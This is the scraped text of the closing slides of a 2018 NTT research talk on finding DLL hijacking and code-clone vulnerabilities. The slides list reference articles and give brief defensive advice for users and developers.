  • 36. 35Copyright©2018 NTT corp. All Rights Reserved.  研究紹介  コードクローンの脆弱性発見手法  パッチ差分に基づく脆弱性修正箇所の特定支援技術  DLLハイジャックの脆弱性を大量発見した話  発見・対策手法についての参考文献  「DLL読み込みの問題を読み解く」 (JPCERT/CC)  https://www.slideshare.net/jpcert_securecoding/dll-78581339  DLL プリロード攻撃を防止するためのライブラリの安全な読み込み(MS)  https://support.microsoft.com/ja-jp/help/2389418/secure-loading-of- libraries-to-prevent-dll-preloading-attacks  対策手法について  [ユーザ] 怪しいファイルがある所でインストーラを実行しない  [開発者] DLLの読み込みの仕様に注意して開発 脆弱性があるインストーラ作成ソフトを使わない まとめ
  • 37. 36Copyright©2018 NTT corp. All Rights Reserved. ご清聴ありがとうございました